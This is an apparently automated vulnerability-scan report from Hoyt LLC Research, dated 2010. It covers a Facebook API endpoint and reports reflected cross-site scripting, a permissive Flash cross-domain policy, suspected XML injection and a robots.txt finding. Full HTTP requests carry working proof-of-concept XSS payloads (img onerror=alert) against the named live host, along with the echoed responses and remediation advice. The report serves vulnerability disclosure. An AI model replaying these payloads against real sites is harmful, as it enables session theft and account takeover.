Report generated by David Hoyt at Sun Nov 07 18:31:13 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://api.ak.facebook.com/restserver.php [method parameter]

1.2. http://api.ak.facebook.com/restserver.php [urls parameter]

2. Flash cross-domain policy

3. XML injection

4. Robots.txt file

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/restserver.php [method parameter]
/restserver.php [urls parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://api.ak.facebook.com/restserver.php [method parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.ak.facebook.com
Path:	/restserver.php

Issue detail

The value of the method request parameter is copied into the HTML document as plain text between tags. The payload 27195<img%20src%3da%20onerror%3dalert(1)>182a2c6bc4a was submitted in the method parameter. This input was echoed as 27195<img src=a onerror=alert(1)>182a2c6bc4a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /restserver.php?v=1.0&method=links.getStats27195<img%20src%3da%20onerror%3dalert(1)>182a2c6bc4a&urls=%5B%22http%3A%2F%2Fwww.nba.com%2Fclippers%2Fpackages.html%3Fgclid%3DCKnXpr75j6UCFZVc2god4ATuOQ%22%5D&format=json&callback=fb_sharepro_render HTTP/1.1
Host: api.ak.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.nba.com/clippers/packages.html?gclid=CKnXpr75j6UCFZVc2god4ATuOQ
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=1286843309-31cef27f6bfa7f6b1845dc7119ae3cf496eea1caf07cec217f860

Response

HTTP/1.1 200 OK
Content-Type: text/javascript;charset=utf-8
Pragma: no-cache
X-Cnection: close
Content-Length: 385
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Mon, 08 Nov 2010 00:30:39 GMT
Date: Mon, 08 Nov 2010 00:30:39 GMT
Connection: close

fb_sharepro_render({"error_code":3,"error_msg":"Unknown method","request_args":[{"key":"v","value":"1.0"},{"key":"method","value":"links.getStats27195<img src=a onerror=alert(1)>182a2c6bc4a"},{"key":"urls","value":"[\"http:\/\/www.nba.com\/clippers\/packages.html?gclid=CKnXpr75j6UCFZVc2god4ATuOQ\"]"},{"key":"format","value":"json"},{"key":"callback","value":"fb_sharepro_render"}]});

1.2. http://api.ak.facebook.com/restserver.php [urls parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.ak.facebook.com
Path:	/restserver.php

Issue detail

The value of the urls request parameter is copied into the HTML document as plain text between tags. The payload a1e25<img%20src%3da%20onerror%3dalert(1)>ca1ea5c54b0 was submitted in the urls parameter. This input was echoed as a1e25<img src=a onerror=alert(1)>ca1ea5c54b0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /restserver.php?v=1.0&method=links.getStats&urls=%5B%22http%3A%2F%2Fwww.nba.com%2Fclippers%2Fpackages.html%3Fgclid%3DCKnXpr75j6UCFZVc2god4ATuOQ%22%5Da1e25<img%20src%3da%20onerror%3dalert(1)>ca1ea5c54b0&format=json&callback=fb_sharepro_render HTTP/1.1
Host: api.ak.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.nba.com/clippers/packages.html?gclid=CKnXpr75j6UCFZVc2god4ATuOQ
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=1286843309-31cef27f6bfa7f6b1845dc7119ae3cf496eea1caf07cec217f860

Response

HTTP/1.1 200 OK
Content-Type: text/javascript;charset=utf-8
Pragma:
X-Cnection: close
Content-Length: 401
Cache-Control: public, max-age=120
Expires: Mon, 08 Nov 2010 00:32:43 GMT
Date: Mon, 08 Nov 2010 00:30:43 GMT
Connection: close

fb_sharepro_render({"error_code":114,"error_msg":"param urls must be an array.","request_args":[{"key":"v","value":"1.0"},{"key":"method","value":"links.getStats"},{"key":"urls","value":"[\"http:\/\/www.nba.com\/clippers\/packages.html?gclid=CKnXpr75j6UCFZVc2god4ATuOQ\"]a1e25<img src=a onerror=alert(1)>ca1ea5c54b0"},{"key":"format","value":"json"},{"key":"callback","value":"fb_sharepro_render"}]});

2. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.ak.facebook.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: api.ak.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: application/xml
X-Cnection: close
Cache-Control: max-age=86400
Expires: Tue, 09 Nov 2010 00:30:29 GMT
Date: Mon, 08 Nov 2010 00:30:29 GMT
Content-Length: 280
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<site-
...[SNIP]...

3. XML injection previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://api.ak.facebook.com
Path:	/restserver.php

Issue detail

The format parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the format parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

Request

GET /restserver.php?v=1.0&method=links.getStats&urls=%5B%22http%3A%2F%2Fwww.nba.com%2Fclippers%2Fpackages.html%3Fgclid%3DCKnXpr75j6UCFZVc2god4ATuOQ%22%5D&format=json]]>>&callback=fb_sharepro_render HTTP/1.1
Host: api.ak.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.nba.com/clippers/packages.html?gclid=CKnXpr75j6UCFZVc2god4ATuOQ
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=1286843309-31cef27f6bfa7f6b1845dc7119ae3cf496eea1caf07cec217f860

Response

HTTP/1.1 200 OK
Content-Type: text/javascript;charset=utf-8
Pragma:
X-Cnection: close
Content-Length: 731
Cache-Control: public, max-age=120
Expires: Mon, 08 Nov 2010 00:32:49 GMT
Date: Mon, 08 Nov 2010 00:30:49 GMT
Connection: close

fb_sharepro_render('<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<links_getStats_response xmlns=\"http://api.facebook.com/1.0/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd\" list=\"true\">
...[SNIP]...

4. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.ak.facebook.com
Path:	/restserver.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: api.ak.facebook.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=UTF-8
X-Cnection: close
Content-Length: 24
Cache-Control: max-age=86400
Expires: Tue, 09 Nov 2010 00:30:29 GMT
Date: Mon, 08 Nov 2010 00:30:29 GMT
Connection: close

User-agent: *
Disallow:

Report generated by Hoyt LLC Research at Sun Nov 07 18:31:13 CST 2010.